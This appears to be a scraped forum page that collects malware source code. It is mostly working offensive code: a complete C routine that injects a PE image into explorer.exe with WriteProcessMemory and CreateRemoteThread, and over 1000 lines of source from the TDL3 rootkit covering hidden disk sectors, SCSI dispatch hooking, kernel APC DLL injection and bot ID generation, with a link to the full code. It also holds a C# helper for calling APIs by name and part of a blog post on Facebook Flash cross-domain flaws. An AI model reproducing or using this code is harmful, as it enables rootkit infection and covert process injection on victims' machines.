MEM_RESERVE = 0x2000; private const uint MEM_EXECUTE_READWRITE = 0x40; // ReSharper restore InconsistentNaming // My own sexy delegate: [UnmanagedFunctionPointer(CallingConvention.StdCall, SetLastError = true)] private delegate void RunAsm(); // WinAPI used: [DllImport("kernel32.dll", SetLastError = true)] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, uint dwFreeType); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr LoadLibrary(string lpFileName); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); } Sample usage: CInvokeAPI.Invoke("user32", "MessageBoxW", 0, CInvokeAPI.StringToPtrW("Greetings from affixiate."), CInvokeAPI.StringToPtrW("Hello world."), 1); Remember: when using my StringToPtr(W/A) methods, it's your responsibility to free the string (the garbage collector is told to not worry about it). You wouldn't want memory leaks now, eh? If you use this code, it would be most excellent if you could maintain the credits. I'm not asking for cash or beer. This is the least you can do for such high quality work, no? Don't be a ripper. /affixiate P.S. All constructive criticism as well as questions and general comments are welcome. Sursa: [sRC] [C#] Call an API by name (my own method)
  8. C] Full PE Injection #include <windows.h> #include <tlhelp32.h> DWORD GetProcessIdByName(LPWSTR name) { PROCESSENTRY32 pe32; HANDLE snapshot = NULL; DWORD pid = 0; snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot != INVALID_HANDLE_VALUE) { pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snapshot, &pe32)) { do { if (!lstrcmp(pe32.szExeFile, name)) { pid = pe32.th32ProcessID; break; } } while (Process32Next(snapshot, &pe32)); } CloseHandle(snapshot); } return pid; } LPVOID CopyModule(HANDLE proc, LPVOID image) { PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); PIMAGE_DATA_DIRECTORY datadir; DWORD size = headers->OptionalHeader.SizeOfImage; LPVOID mem = NULL; LPBYTE buf = NULL; BOOL ok = FALSE; if (headers->Signature != IMAGE_NT_SIGNATURE) return NULL; if (IsBadReadPtr(image, size)) return NULL; mem = VirtualAllocEx(proc, NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (mem != NULL) { buf = (LPBYTE)VirtualAlloc(NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buf != NULL) { RtlCopyMemory(buf, image, size); datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (datadir->Size > 0 && datadir->VirtualAddress > 0) { DWORD_PTR delta = (DWORD_PTR)((LPBYTE)mem - headers->OptionalHeader.ImageBase); DWORD_PTR olddelta = (DWORD_PTR)((LPBYTE)image - headers->OptionalHeader.ImageBase); PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(buf + datadir->VirtualAddress); while(reloc->VirtualAddress != 0) { if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); LPWORD list = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION)); DWORD i; for (i = 0; i < count; i++) { if (list[i] > 0) { DWORD_PTR *p = (DWORD_PTR *)(buf + (reloc->VirtualAddress + (0x0FFF & (list[i])))); *p -= olddelta; *p += delta; } } } reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock); } ok = WriteProcessMemory(proc, mem, buf, size, NULL); } VirtualFree(buf, 0, MEM_RELEASE); // release buf } if (!ok) { VirtualFreeEx(proc, mem, 0, MEM_RELEASE); mem = NULL; } } return mem; } BOOL EnableDebugPrivileges(void) { HANDLE token; TOKEN_PRIVILEGES priv; BOOL ret = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid) != FALSE && AdjustTokenPrivileges(token, FALSE, &priv, 0, NULL, NULL) != FALSE) { ret = TRUE; } CloseHandle(token); } return ret; } BOOL BeginInject(DWORD pid, LPTHREAD_START_ROUTINE start) { HANDLE proc, thread; HMODULE module, newmodule; BOOL ok = FALSE; proc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, FALSE, pid); if (proc != NULL) { module = GetModuleHandle(NULL); newmodule = (HMODULE)CopyModule(proc, module); if (newmodule != NULL) { LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)((LPBYTE)newmodule + (DWORD_PTR)((LPBYTE)start - (LPBYTE)module)); thread = CreateRemoteThread(proc, NULL, 0, entry, NULL, 0, NULL); if (thread != NULL) { CloseHandle(thread); ok = TRUE; } else { VirtualFreeEx(proc, module, 0, MEM_RELEASE); } } CloseHandle(proc); } return ok; } DWORD WINAPI ThreadProc(LPVOID param) { MessageBox(NULL, L"well look at that :O", NULL, 0); return 0; } int wmain(void) { // EnableDebugPrivileges(); attempt to aquire debugging privileges BeginInject(GetProcessIdByName(L"explorer.exe"), ThreadProc); return 0; } Sursa: [C] full PE injection
  9. TDL3 1000+ SC lines Bucati din codul sursa de la cunoscutul TDL3: #include "inc.h" #pragma comment(linker,"/subsystem:native /entry:DriverEntry") NT_BEGIN EXTERN_C_START DWORD GetDelta(); NTSTATUS Reinitialize(PDEVICE_OBJECT,BOOLEAN); VOID GetEPNameOffset(); NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry) { PTDL_START ptsStart; PIMAGE_NT_HEADERS pinhHeader; GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry; pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart); ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START)); GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset; pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP; pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum; pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=ptsStart->dwSectionSecuritySize; pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->dwSectionSecurityVirtualAddress; GetEPNameOffset(); *GET_TDL_ADDRESSES->cBotID=0; if(!NT_SUCCESS(Reinitialize(0,FALSE))) { IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize)); } return STATUS_SUCCESS; } VOID GetEPNameOffset() { CHAR cSystem[]={'S','y','s','t','e','m',0}; GET_TDL_ADDRESSES->dwEPNameOffset=0; while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0) { GET_TDL_ADDRESSES->dwEPNameOffset++; } return; } PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey) { DWORD dwData; for(dwData=0;dwData<dwSize;dwData++) { ((PBYTE)pvData)[dwData]^=dwData+bKey; } return pvData; }; NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress) { SCSI_REQUEST_BLOCK srbBuffer; SENSE_DATA sdData; IO_STATUS_BLOCK iosbStatus; KEVENT keEvent; PIRP piIrp; PMDL pmMdl; PIO_STACK_LOCATION pislStack; memset(&srbBuffer,0,sizeof(srbBuffer)); memset(&sdData,0,sizeof(sdData)); srbBuffer.Length=sizeof(srbBuffer); srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI; srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE; srbBuffer.CdbLength=CDB10GENERIC_LENGTH; srbBuffer.SenseInfoBufferLength=sizeof(sdData); srbBuffer.SenseInfoBuffer=&sdData; srbBuffer.DataTransferLength=dwBufferSize; srbBuffer.DataBuffer=pvBuffer; srbBuffer.TimeOutValue=5000; srbBuffer.QueueSortKey=dwAddress; srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE; srbBuffer.Cdb[0]=bOpCode; srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24); srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16); srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8); srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff); if(dwAddress!=0) { DWORD dwSectors; dwSectors=dwBufferSize/0x200; srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8); srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff); } KeInitializeEvent(&keEvent,NotificationEvent,FALSE); piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE); if(piIrp!=0) { pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp); srbBuffer.OriginalRequest=piIrp; piIrp->MdlAddress=pmMdl; MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess); piIrp->UserIosb=&iosbStatus; piIrp->UserEvent=&keEvent; piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE; piIrp->Tail.Overlay.Thread=KeGetCurrentThread(); pislStack=IoGetNextIrpStackLocation(piIrp); pislStack->DeviceObject=pdoDevice; pislStack->MajorFunction=IRP_MJ_SCSI; pislStack->Parameters.Scsi.Srb=&srbBuffer; piIrp->CurrentLocation--; pislStack=IoGetNextIrpStackLocation(piIrp); piIrp->Tail.Overlay.CurrentStackLocation=pislStack; pislStack->DeviceObject=pdoDevice; if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING) { KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0); } return iosbStatus.Status; } return STATUS_INSUFFICIENT_RESOURCES; } extern "C" { #include "gz.cpp" #include "md4.cpp" #include "socket.cpp" #include "tdlini.cpp" #include "tdlfs.cpp" } NTSTATUS MJCompletion(PDEVICE_OBJECT pdoDevice,PIRP piIrp,PVOID pvContext) { NTSTATUS ntsStatus; if(NT_SUCCESS(piIrp->IoStatus.Status)) { PVOID pvBuffer; PIO_STACK_LOCATION pislStack; DWORD dwSector; pislStack=IoGetCurrentIrpStackLocation(piIrp); pvBuffer=MmGetSystemAddressForMdlSafe(piIrp->MdlAddress,NormalPagePriority); if(((PDISK_COMPLETION)pvContext)->dwSectorOffset+(DWORD)piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector) { DWORD dwOffset; if(((PDISK_COMPLETION)pvContext)->dwSectorOffset<GET_TDL_ADDRESSES->dwFirstHiddenSector) { dwOffset=(GET_TDL_ADDRESSES->dwFirstHiddenSector-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize; } else { dwOffset=0; } memset(RtlOffsetToPointer(pvBuffer,dwOffset),0,(DWORD)piIrp->IoStatus.Information-dwOffset); } else { for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++) { if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0) &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,((PDISK_COMPLETION)pvContext)->dwSectorOffset,piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize)) { memcpy(RtlOffsetToPointer(pvBuffer,GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize),GET_TDL_ADDRESSES->thsSectors[dwSector].pvValue,GET_TDL_ADDRESSES->thsSectors[dwSector].dwSize); } } } } if(((PDISK_COMPLETION)pvContext)->picrCompletion!=0) { ntsStatus=((PDISK_COMPLETION)pvContext)->picrCompletion(pdoDevice,piIrp,((PDISK_COMPLETION)pvContext)->pvContext); } ExFreePool(pvContext); return ntsStatus; } NTSTATUS MJDispatch(PDEVICE_OBJECT pdoDevice,PIRP piIrp) { PIO_STACK_LOCATION pislStack; PDISK_COMPLETION pdcCompletion=0; DWORD dwSector; pislStack=IoGetCurrentIrpStackLocation(piIrp); if((pdoDevice==GET_TDL_ADDRESSES->pdoFSDevice) &&(pislStack->FileObject!=0) &&(pislStack->FileObject->FileName.Length>sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)+2*sizeof(L'\\')-sizeof(WCHAR)) &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0)) { piIrp->IoStatus.Status=STATUS_NOT_IMPLEMENTED; piIrp->IoStatus.Information=0; TDLFSDispatch(pdoDevice,piIrp); IoCompleteRequest(piIrp,IO_NO_INCREMENT); return piIrp->IoStatus.Status; } if((pdoDevice==GET_TDL_ADDRESSES->pdoDeviceDisk) &&(!((pislStack->FileObject!=0) &&(pislStack->FileObject->FileName.Length==sizeof(L'\\')+sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR)) &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0))) &&(pislStack->MajorFunction==IRP_MJ_SCSI) &&(pislStack->Parameters.Scsi.Srb->Function==SRB_FUNCTION_EXECUTE_SCSI)) { BOOL bComplete=FALSE; BOOL bEnd=FALSE; if(pislStack->Parameters.Scsi.Srb->QueueSortKey+pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector) { bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0; bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0; } else { for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++) { if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0) &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,pislStack->Parameters.Scsi.Srb->QueueSortKey,pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize)) { bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0; bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0; } } } if(bEnd) { pislStack->Parameters.Scsi.Srb->SrbStatus=SRB_STATUS_SUCCESS; pislStack->Parameters.Scsi.Srb->InternalStatus=SRB_STATUS_SUCCESS; piIrp->IoStatus.Status=STATUS_SUCCESS; IoCompleteRequest(piIrp,IO_NO_INCREMENT); return STATUS_SUCCESS; } if(bComplete) { pdcCompletion=(PDISK_COMPLETION)ExAllocatePool(NonPagedPool,sizeof(DISK_COMPLETION)); if(pdcCompletion!=0) { pdcCompletion->picrCompletion=pislStack->CompletionRoutine; pdcCompletion->pvContext=pislStack->Context; pdcCompletion->dwSectorOffset=pislStack->Parameters.Scsi.Srb->QueueSortKey; pislStack->Control=SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL; pislStack->Context=pdcCompletion; pislStack->CompletionRoutine=ADDRESS_DELTA(PIO_COMPLETION_ROUTINE,MJCompletion); } } } return GET_TDL_ADDRESSES->pddDiskMJ[pislStack->MajorFunction](pdoDevice,piIrp); } NTSTATUS GenerateBotID(PCHAR pcBotID,DWORD dwBotIDSize) { CHAR cBotIDFormat[]={'%','x','%','x',0}; WCHAR wcVolumeObject[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0}; UUID uuidBotID; UNICODE_STRING usName; HANDLE hVolume; FILE_FS_VOLUME_INFORMATION ffviInfo; IO_STATUS_BLOCK iosbStatus; OBJECT_ATTRIBUTES oaAttributes; RtlInitUnicodeString(&usName,wcVolumeObject); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); ffviInfo.VolumeSerialNumber=0; if(NT_SUCCESS(ZwOpenFile(&hVolume,SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,FILE_SYNCHRONOUS_IO_NONALERT))) { ZwQueryVolumeInformationFile(hVolume,&iosbStatus,&ffviInfo,sizeof(ffviInfo),FileFsVolumeInformation); ZwClose(hVolume); } if(ExUuidCreate(&uuidBotID)==0) { _snprintf(pcBotID,dwBotIDSize,cBotIDFormat,*(PDWORD)RtlOffsetToPointer(uuidBotID.Data4,4),ffviInfo.VolumeSerialNumber); return STATUS_SUCCESS; } return STATUS_RETRY; } __declspec(naked) DWORD GetDelta() { __asm { call delta delta: pop eax sub eax,offset delta retn } } __declspec(noinline) PVOID GetNtoskrnlBase() { BYTE bIDT[6]; PIDT_ENTRY pieIDTEntry; PWORD pwAddress; __asm { sidt bIDT; } pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40); pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16)); do { pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE); if(*pwAddress=='ZM') { return (PVOID)pwAddress; } pwAddress--; } while(pwAddress!=0); return 0; } VOID __stdcall APCKernelRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID* ppvMemory,PVOID*) { ExFreePool(pkaApc); return; } NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert) { HANDLE hProcess; OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)}; CLIENT_ID cidProcess; PVOID pvMemory=0; DWORD dwSize; CHAR cDllReal[MAX_PATH]; CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0}; PCHAR pcDllReal; if(*pcDll!='\\') { dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1; pcDllReal=cDllReal; } else { pcDllReal=pcDll; dwSize=strlen(pcDll)+1; } cidProcess.UniqueProcess=hProcessID; cidProcess.UniqueThread=0; if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess))) { if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE))) { KAPC_STATE kasState; PKAPC pkaApc; KeStackAttachProcess(pepProcess,&kasState); strcpy(pvMemory,pcDllReal); KeUnstackDetachProcess(&kasState); pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); if(pkaApc!=0) { KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory); KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT); return STATUS_SUCCESS; } } ZwClose(hProcess); } return STATUS_NO_MEMORY; } VOID WIInjector(PVOID pvContext) { CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY; CHAR cSection[]=TDL_CONFIG_INJECTOR; CHAR cDll[MAX_PATH]; CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'d','a','t','e',0}; DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0); DWORD dwCurrent; LARGE_INTEGER liTime; KeQuerySystemTime(&liTime); RtlTimeToSecondsSince1970(&liTime,&dwCurrent); //CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0}; //DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0); //if(dwCurrent-dwDate>=60*24*60) { // DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1); if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll))) { DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE); } if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,cDll,sizeof(cDll))) { DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE); } } KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE); return; } VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*) { WI_INJECT wiiItem; ExFreePool(pkaApc); wiiItem.pktThread=KeGetCurrentThread(); wiiItem.pepProcess=IoGetCurrentProcess(); wiiItem.hProcessID=PsGetCurrentProcessId(); KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE); ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem); ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue); KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0); return; } VOID LoadImageNotify(PUNICODE_STRING FullImageName,HANDLE hProcessID,PIMAGE_INFO ImageInfo) { if(FullImageName!=0) { WCHAR wcKernel32Mask[]={L'*',L'\\',L'K',L'E',L'R',L'N',L'E',L'L',L'3',L'2',L'.',L'D',L'L',L'L',0}; UNICODE_STRING usKernel32Mask; RtlInitUnicodeString(&usKernel32Mask,wcKernel32Mask); if(FsRtlIsNameInExpression(&usKernel32Mask,FullImageName,TRUE,0)) { PKAPC pkaApc; if(GET_TDL_ADDRESSES->pvLoadLibraryExA==0) { GET_TDL_ADDRESSES->pvLoadLibraryExA=GetProcedureAddressByHash(ImageInfo->ImageBase,TDL_HASH_LOADLIBRARYEXA); } pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); if(pkaApc!=0) { KeInitializeApc(pkaApc,KeGetCurrentThread(),0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCInjectRoutine),0,0,KernelMode,0); KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT); } } } return; } VOID WIKnock(PVOID pvWIKnock) { KEVENT keEvent; ExFreePool(pvWIKnock); /* CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'r','e','b','o','o','t','s',0}; CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0}; DWORD dwRand=(DWORD)rand()%100; DbgPrint(cDebug,cKey,dwRand); TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand); */ KeInitializeEvent(&keEvent,NotificationEvent,FALSE); while(TRUE) { LARGE_INTEGER liDelay; if((*GET_TDL_ADDRESSES->cBotID==0) &&NT_SUCCESS(GenerateBotID(GET_TDL_ADDRESSES->cBotID,RTL_NUMBER_OF(GET_TDL_ADDRESSES->cBotID)))) { OBJECT_ATTRIBUTES oaAttributes; WCHAR wcBotID[0x10+sizeof(L'\\')+1]; WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0}; UNICODE_STRING usName; HANDLE hEvent; _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,GET_TDL_ADDRESSES->cBotID); RtlInitUnicodeString(&usName,wcBotID); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE); return; } liDelay.QuadPart=(LONGLONG)-10*10000000; //liDelay.QuadPart=(LONGLONG)-1*10000000; KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay); } return; } /* void WITimer(PVOID pvWITimer) { CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'r','e','b','o','o','t','s',0}; CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0}; KEVENT keEvent; ExFreePool(pvWITimer); KeInitializeEvent(&keEvent,NotificationEvent,FALSE); while(TRUE) { DWORD dwRand=(DWORD)rand()%100; LARGE_INTEGER liDelay; DbgPrint(cDebug,cKey,dwRand); //TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand); liDelay.QuadPart=(LONGLONG)-5*10000000; KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay); } } */ PIMAGE_SECTION_HEADER RvaToSectionHeader(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva) { PIMAGE_SECTION_HEADER pishHeader; DWORD dwSection; pishHeader=IMAGE_FIRST_SECTION(pinhHeader); for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++) { if((dwRva>=pishHeader->VirtualAddress) &&(dwRva<(pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize))) { return pishHeader; } pishHeader++; } return 0; } DWORD RvaToFileOffset(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva) { PIMAGE_SECTION_HEADER pishHeader; pishHeader=RvaToSectionHeader(pinhHeader,dwRva); if(pishHeader!=0) { return (DWORD)ALIGNDOWN(pishHeader->PointerToRawData,pinhHeader->OptionalHeader.FileAlignment)+(dwRva-pishHeader->VirtualAddress); } return 0; } Complet: http://pastebin.com/UpvGUw19 Sursa: Some TDL3 C++ Source code 1000+ lines
  10. [h=2]Friday, December 16, 2011[/h] [h=3]Doing Cross Page Communication Correctly[/h] I haven't updated this blog in more than one year (woops), but it seems like I still have a couple of followers, so I was thinking on what to write about. I was originally planning to post this on August, but the fix was delayed more than expected. I decided to choose a random target on the interwebs to find an interesting vuln, and since Facebook recently launched it's "Whitehat Program", which rewards people that report them security vulnerabilities (kinda the same as Google's Vulnerability Reward Program), I chose them. (Note: As of December 15, Facebook says they have fixed the vulnerability, and awarded a $2,500 USD bounty). So, I took a look at their "main JS file": http://connect.facebook.net/en_US/all.js And well, first thing that came to my mind was RPC. Mostly, because I worked implementing the Apache Shindig's version of the Flash RPC, and have helped reviewing easyXDM's implementation, I just knew this is too hard to get right. A simple grep for ".swf" in their all.js file lead us to "/swf/XdComm.swf". And since I didn't know what domain that was on I tried: https://www.facebook.com/swf/XdComm.swf And that worked. So let's see.. I sent it to showmycode.com and we get this: Show My Code | Flash decompiler There are several non-security-bugs in that code (some of which I decided to ignore for brevity and keep the WTF quota of this blog low). In general the security problems found are not specific to FB at all, they are mostly, side effects of bad design decisions from either Flash or the browsers. However, this problems are widely known and can be abused by attackers to compromise information. Calling security.allowDomain The first thing I notice is that XdComm calls Security.allowDomain and Security.allowInsecureDomain. This allows to execute code in the context of https://www.facebook.com/ so it's an Flash-XSS, FAIL #1. The way you exploit this is by loading the victim SWF inside the attacker's SWF. That's it. The problem here is that Adobe provides only one API for enabling two very different functionalities. In this case, what Facebook wants is just allow an HTML container to call whitelisted 'callbacks' from the SWF, but inadvertently it is also allowing anyone to load the SWF inside another SWF and access all methods and variables, which can result in code execution. Adobe actually acknowledges this is a problem, and they will make changes to support this two different use cases. The reason I don't provide a PoC is because there are several applications out there that depend on this behavior and can't easily deploy any fixes, and Adobe is working on fixing this at Flash (which is where it should be fixed). When there's a viable alternative or a good solution I'll post a PoC. What FB should have done is keep this SWF out of Bine ai venit pe Facebook - autentific?-te, înscrie-te sau afl? mai multe. Getting the embedding page location The second thing I notice is that it's getting the origin of the page hosting the SWF calling: this.currentDomain = ExternalInterface.call("self.document.domain.toString"); And as any Flash developer should know, ExternalInterface.call isn't something you can actually trust, so now you can "cheat" XdComm.swf into thinking it's being embedded by a page it isn't by simply overriding __flash__toXML. So, by abusing this vulnerable check, we can actually, listen and send messages on any LocalConnection channel. This doesn't only mean we just defeated the security of the transport, but that also, if any other SWF file uses LocalConnection in facebook.com (or fbcdn.net), we can sniff into that as well. So, FAIL #2. It is hard, for a movie (or a plugin whatsoever) to know with certainty where it's being hosted. A SWF can be sure it's being hosted same domain, by requiring the hosting page to call a method in the Movie (added by 